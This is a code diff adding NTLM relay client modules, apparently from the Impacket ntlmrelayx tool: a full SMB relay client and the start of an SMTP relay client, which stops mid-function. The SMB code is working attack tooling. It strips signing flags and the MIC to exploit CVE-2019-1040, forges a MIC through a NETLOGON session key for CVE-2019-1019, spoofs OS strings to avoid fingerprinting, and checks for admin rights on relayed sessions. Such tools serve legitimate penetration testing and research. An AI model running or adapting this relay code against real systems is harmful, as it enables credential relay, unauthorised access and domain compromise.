+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
+from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \
+    generateEncryptedSessionKey, hmac_md5
+from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
+    SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
+    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
+from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
+    SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
+    SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
+    SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
+from impacket.smbconnection import SMBConnection, SMB_DIALECT
+from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
+from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
+from impacket.dcerpc.v5.transport import SMBTransport
+from impacket.dcerpc.v5 import scmr
+
+PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
+
+class MYSMB(SMB):
+    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
+        self.extendedSecurity = extendedSecurity
+        SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
+
+    def neg_session(self, negPacket=None):
+        return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
+
+class MYSMB3(SMB3):
+    def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):
+        self.extendedSecurity = extendedSecurity
+        SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)
+
+    def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
+        # We DON'T want to sign
+        self._Connection['ClientSecurityMode'] = 0
+
+        if self.RequireMessageSigning is True:
+            LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
+            return
+
+        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
+        currentDialect = SMB2_DIALECT_WILDCARD
+
+        # Do we have a negSessionPacket already?
+        if negSessionResponse is not None:
+            # Yes, let's store the dialect answered back
+            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
+            currentDialect = negResp['DialectRevision']
+
+        if currentDialect == SMB2_DIALECT_WILDCARD:
+            # Still don't know the chosen dialect, let's send our options
+
+            packet = self.SMB_PACKET()
+            packet['Command'] = SMB2_NEGOTIATE
+            negSession = SMB2Negotiate()
+
+            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
+            negSession['Capabilities'] = self._Connection['Capabilities']
+            negSession['ClientGuid'] = self.ClientGuid
+            if preferredDialect is not None:
+                negSession['Dialects'] = [preferredDialect]
+            else:
+                negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
+            negSession['DialectCount'] = len(negSession['Dialects'])
+            packet['Data'] = negSession
+
+            packetID = self.sendSMB(packet)
+            ans = self.recvSMB(packetID)
+            if ans.isValidAnswer(STATUS_SUCCESS):
+                negResp = SMB2Negotiate_Response(ans['Data'])
+
+        self._Connection['MaxTransactSize']   = min(0x100000,negResp['MaxTransactSize'])
+        self._Connection['MaxReadSize']       = min(0x100000,negResp['MaxReadSize'])
+        self._Connection['MaxWriteSize']      = min(0x100000,negResp['MaxWriteSize'])
+        self._Connection['ServerGuid']        = negResp['ServerGuid']
+        self._Connection['GSSNegotiateToken'] = negResp['Buffer']
+        self._Connection['Dialect']           = negResp['DialectRevision']
+        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
+            LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
+            return
+        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
+            self._Connection['SupportsFileLeasing'] = True
+        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
+            self._Connection['SupportsMultiCredit'] = True
+
+        if self._Connection['Dialect'] == SMB2_DIALECT_30:
+            # Switching to the right packet format
+            self.SMB_PACKET = SMB3Packet
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
+                self._Connection['SupportsDirectoryLeasing'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
+                self._Connection['SupportsMultiChannel'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
+                self._Connection['SupportsPersistentHandles'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
+                self._Connection['SupportsEncryption'] = True
+
+            self._Connection['ServerCapabilities'] = negResp['Capabilities']
+            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
+
+class SMBRelayClient(ProtocolClient):
+    PLUGIN_NAME = "SMB"
+    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+        self.extendedSecurity = extendedSecurity
+
+        self.machineAccount = None
+        self.machineHashes = None
+        self.sessionData = {}
+
+        self.negotiateMessage = None
+        self.challengeMessage = None
+        self.serverChallenge = None
+
+        self.keepAliveHits = 1
+
+    def netlogonSessionKey(self, authenticateMessageBlob):
+        # Here we will use netlogon to get the signing session key
+        logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp)
+
+        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+        authenticateMessage = NTLMAuthChallengeResponse()
+        authenticateMessage.fromString(authenticateMessageBlob)
+        _, machineAccount = self.serverConfig.machineAccount.split('/')
+        domainName = authenticateMessage['domain_name'].decode('utf-16le')
+
+        try:
+            serverName = machineAccount[:len(machineAccount)-1]
+        except:
+            # We're in NTLMv1, not supported
+            return STATUS_ACCESS_DENIED
+
+        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if len(self.serverConfig.machineHashes) > 0:
+            lmhash, nthash = self.serverConfig.machineHashes.split(':')
+        else:
+            lmhash = ''
+            nthash = ''
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(nrpc.MSRPC_UUID_NRPC)
+        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')
+
+        serverChallenge = resp['ServerChallenge']
+
+        if self.serverConfig.machineHashes == '':
+            ntHash = None
+        else:
+            ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])
+
+        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
+                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
+                                      ppp, 0x600FFFFF)
+
+        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
+
+        # Now let's try to verify the security blob against the PDC
+
+        request = nrpc.NetrLogonSamLogonWithFlags()
+        request['LogonServer'] = '\x00'
+        request['ComputerName'] = serverName + '\x00'
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
+
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
+            'user_name'].decode('utf-16le')
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge
+        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
+
+        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
+        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
+        authenticator['Timestamp'] = 10
+
+        request['Authenticator'] = authenticator
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['ExtraFlags'] = 0
+        # request.dump()
+        try:
+            resp = dce.request(request)
+            # resp.dump()
+        except DCERPCException as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error(str(e))
+            return e.get_error_code()
+
+        logging.info("%s\\%s successfully validated through NETLOGON" % (
+            domainName, authenticateMessage['user_name'].decode('utf-16le')))
+
+        encryptedSessionKey = authenticateMessage['session_key']
+        if encryptedSessionKey != b'':
+            signingKey = generateEncryptedSessionKey(
+                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
+        else:
+            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
+
+        logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))
+
+        return STATUS_SUCCESS, signingKey
+
+    def keepAlive(self):
+        # SMB Keep Alive more or less every 5 minutes
+        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
+            # Time to send a packet
+            # Just a tree connect / disconnect to avoid the session timeout
+            tid = self.session.connectTree('IPC$')
+            self.session.disconnectTree(tid)
+            self.keepAliveHits = 1
+        else:
+            self.keepAliveHits +=1
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.close()
+            self.session = None
+
+    def initConnection(self):
+        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
+                                     #,preferredDialect=SMB_DIALECT)
+        if self.serverConfig.smb2support is True:
+            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
+        else:
+            data = '\x02NT LM 0.12\x00'
+
+        if self.extendedSecurity is True:
+            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
+        else:
+            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
+        try:
+            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
+                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
+                             flags2=flags2, data=data)
+        except Exception as e:
+            if not self.serverConfig.smb2support:
+                LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
+            else:
+                LOG.error('SMBClient error: Connection was reset')
+            return False
+        if packet[0:1] == b'\xfe':
+            preferredDialect = None
+            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
+            if self.serverConfig.remove_target:
+                preferredDialect = SMB2_DIALECT_21
+            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
+                               negPacket=packet, preferredDialect=preferredDialect)
+        else:
+            # Answer is SMB packet, sticking to SMBv1
+            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
+                              negPacket=packet)
+
+        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
+                                     existingConnection=smbClient, manualNegotiate=True)
+
+        return True
+
+    def setUid(self,uid):
+        self._uid = uid
+
+    def sendNegotiate(self, negotiateMessage):
+        negoMessage = NTLMAuthNegotiate()
+        negoMessage.fromString(negotiateMessage)
+        # When exploiting CVE-2019-1040, remove flags
+        if self.serverConfig.remove_mic:
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
+
+        negotiateMessage = negoMessage.getData()
+
+        challenge = NTLMAuthChallenge()
+        if self.session.getDialect() == SMB_DIALECT:
+            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
+        else:
+            challenge.fromString(self.sendNegotiatev2(negotiateMessage))
+
+        self.negotiateMessage = negotiateMessage
+        self.challengeMessage = challenge.getData()
+
+        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
+        self.sessionData['CHALLENGE_MESSAGE'] = challenge
+        self.serverChallenge = challenge['challenge']
+
+        return challenge
+
+    def sendNegotiatev2(self, negotiateMessage):
+        v2client = self.session.getSMBServer()
+
+        sessionSetup = SMB2SessionSetup()
+        sessionSetup['Flags'] = 0
+
+        sessionSetup['SecurityBufferLength'] = len(negotiateMessage)
+        sessionSetup['Buffer'] = negotiateMessage
+
+        packet = v2client.SMB_PACKET()
+        packet['Command'] = SMB2_SESSION_SETUP
+        packet['Data'] = sessionSetup
+
+        packetID = v2client.sendSMB(packet)
+        ans = v2client.recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
+            v2client._Session['SessionID'] = ans['SessionID']
+            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
+            return sessionSetupResponse['Buffer']
+
+        return False
+
+    def sendNegotiatev1(self, negotiateMessage):
+        v1client = self.session.getSMBServer()
+
+        smb = NewSMBPacket()
+        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
+        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if v1client.is_signing_required():
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+
+        # Just in case, clear the Unicode Flag
+        flags2 = v1client.get_flags ()[1]
+        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 65535
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
+
+        # Let's build a NegTokenInit with the NTLMSSP
+        # TODO: In the future we should be able to choose different providers
+
+        #blob = SPNEGO_NegTokenInit()
+
+        # NTLMSSP
+        #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+        #blob['MechToken'] = negotiateMessage
+
+        #sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
+        sessionSetup['Parameters']['SecurityBlobLength']  = len(negotiateMessage)
+        sessionSetup['Parameters'].getData()
+        #sessionSetup['Data']['SecurityBlob'] = blob.getData()
+        sessionSetup['Data']['SecurityBlob'] = negotiateMessage
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        smb.addCommand(sessionSetup)
+        v1client.sendSMB(smb)
+        smb = v1client.recvSMB()
+
+        try:
+            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        except Exception:
+            LOG.error("SessionSetup Error!")
+            raise
+        else:
+            # We will need to use this uid field for all future requests/responses
+            v1client.set_uid(smb['Uid'])
+
+            # Now we have to extract the blob to continue the auth process
+            sessionResponse   = SMBCommand(smb['Data'][0])
+            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
+            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
+            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
+            sessionData.fromString(sessionResponse['Data'])
+            #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
+
+            #return respToken['ResponseToken']
+            return sessionData['SecurityBlob']
+
+    def sendStandardSecurityAuth(self, sessionSetupData):
+        v1client = self.session.getSMBServer()
+        flags2 = v1client.get_flags()[1]
+        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
+        if sessionSetupData['Account'] != '':
+            smb = NewSMBPacket()
+            smb['Flags1'] = 8
+
+            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
+            sessionSetup['Data'] = SMBSessionSetupAndX_Data()
+
+            sessionSetup['Parameters']['MaxBuffer'] = 65535
+            sessionSetup['Parameters']['MaxMpxCount'] = 2
+            sessionSetup['Parameters']['VCNumber'] = os.getpid()
+            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
+            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
+            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
+            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
+
+            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
+            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
+            sessionSetup['Data']['Account'] = sessionSetupData['Account']
+            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
+            sessionSetup['Data']['NativeOS'] = 'Unix'
+            sessionSetup['Data']['NativeLanMan'] = 'Samba'
+
+            smb.addCommand(sessionSetup)
+
+            v1client.sendSMB(smb)
+            smb = v1client.recvSMB()
+            try:
+                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
+            except:
+                return None, STATUS_LOGON_FAILURE
+            else:
+                v1client.set_uid(smb['Uid'])
+                return smb, STATUS_SUCCESS
+        else:
+            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
+            clientResponse = None
+            errorCode = STATUS_ACCESS_DENIED
+
+        return clientResponse, errorCode
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+
+        # When exploiting CVE-2019-1040, remove flags
+        if self.serverConfig.remove_mic:
+            authMessage = NTLMAuthChallengeResponse()
+            authMessage.fromString(authenticateMessageBlob)
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
+            authMessage['MIC'] = b''
+            authMessage['MICLen'] = 0
+            authMessage['Version'] = b''
+            authMessage['VersionLen'] = 0
+            authenticateMessageBlob = authMessage.getData()
+
+        #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+        #    # We need to unwrap SPNEGO and get the NTLMSSP
+        #    respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
+        #    authData = respToken['ResponseToken']
+        #else:
+        authData = authenticateMessageBlob
+
+        signingKey = None
+        if self.serverConfig.remove_target:
+            # Trying to exploit CVE-2019-1019
+            # Discovery and Implementation by @simakov_marina and @YaronZi
+            # respToken2 = SPNEGO_NegTokenResp(authData)
+            authenticateMessageBlob = authData
+
+            errorCode, signingKey = self.netlogonSessionKey(authData)
+
+            # Recalculate MIC
+            res = NTLMAuthChallengeResponse()
+            res.fromString(authenticateMessageBlob)
+
+            newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
+            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)
+
+            respToken2 = SPNEGO_NegTokenResp()
+            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
+            authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
+            #authData = respToken2.getData()
+
+        if self.session.getDialect() == SMB_DIALECT:
+            token, errorCode = self.sendAuthv1(authData, serverChallenge)
+        else:
+            token, errorCode = self.sendAuthv2(authData, serverChallenge)
+
+        if signingKey:
+            logging.info("Enabling session signing")
+            self.session._SMBConnection.set_session_key(signingKey)
+
+        return token, errorCode
+
+    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            # We need to unwrap SPNEGO and get the NTLMSSP
+            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            authData = respToken['ResponseToken']
+        else:
+            authData = authenticateMessageBlob
+
+        v2client = self.session.getSMBServer()
+
+        sessionSetup = SMB2SessionSetup()
+        sessionSetup['Flags'] = 0
+
+        packet = v2client.SMB_PACKET()
+        packet['Command'] = SMB2_SESSION_SETUP
+        packet['Data']    = sessionSetup
+
+        # Reusing the previous structure
+        sessionSetup['SecurityBufferLength'] = len(authData)
+        sessionSetup['Buffer'] = authData
+
+        packetID = v2client.sendSMB(packet)
+        packet = v2client.recvSMB(packetID)
+
+        return packet, packet['Status']
+
+    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            # We need to unwrap SPNEGO and get the NTLMSSP
+            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            authData = respToken['ResponseToken']
+        else:
+            authData = authenticateMessageBlob
+
+        v1client = self.session.getSMBServer()
+
+        smb = NewSMBPacket()
+        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
+        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if v1client.is_signing_required():
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+        smb['Uid'] = v1client.get_uid()
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 65535
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)
+        sessionSetup['Data']['SecurityBlob'] = authData
+        smb.addCommand(sessionSetup)
+        v1client.sendSMB(smb)
+
+        smb = v1client.recvSMB()
+
+        errorCode = smb['ErrorCode'] << 16
+        errorCode += smb['_reserved'] << 8
+        errorCode += smb['ErrorClass']
+
+        return smb, errorCode
+
+    def getStandardSecurityChallenge(self):
+        if self.session.getDialect() == SMB_DIALECT:
+            return self.session.getSMBServer().get_encryption_key()
+        else:
+            return None
+
+    def isAdmin(self):
+        rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
+        dce = rpctransport.get_dce_rpc()
+        try:
+            dce.connect()
+        except:
+            pass
+        else:
+            dce.bind(scmr.MSRPC_UUID_SCMR)
+            try:
+                # 0xF003F - SC_MANAGER_ALL_ACCESS
+                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+                ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
+                return "TRUE"
+            except scmr.DCERPCException as e:
+                pass
+        return "FALSE"
diff --git a/impacket/examples/ntlmrelayx/clients/smtprelayclient.py b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py
new file mode 100644
index 0000000..55dc3a7
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py
@@ -0,0 +1,88 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMTP Protocol Client
+#   SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#   Alberto Solino (@agsolino)
+#
+import smtplib
+import base64
+from struct import unpack
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.spnego import SPNEGO_NegTokenResp
+
+PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"]
+
+class SMTPRelayClient(ProtocolClient):
+    PLUGIN_NAME = "SMTP"
+
+    def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+    def initConnection(self):
+        self.session = smtplib.SMTP(self.targetHost,self.targetPort)
+        # Turn on to debug SMTP messages
+        # self.session.debuglevel = 3
+        self.session.ehlo()
+
+        if 'AUTH NTLM' not in self.session.ehlo_resp:
+            LOG.error('SMTP server does not support NTLM authentication!')
+            return False
+        return True
+
+    def sendNegotiate(self,negotiateMessage):
+        negotiate = base64.b64encode(negotiateMessage)
+        self.session.putcmd('AUTH NTLM')
+        code, resp = self.session.getreply()
+        if code != 334:
+            LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))
+            return False
+        else:
+            self.session.putcmd(negotiate)
+        try:
+            code, serverChallengeBase64 = self.session.getreply()
+            serverChallenge = base64.b64decode(serverChallengeBase64)
+            challenge = NTLMAuthChallenge()
+            challenge.fromString(serverChallenge)
+            return challenge
+        except (IndexError, KeyError, AttributeError):
+            LOG.error('No NTLM challenge returned from SMTP server')
+            raise
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            token = respToken2['ResponseToken']
+        else:
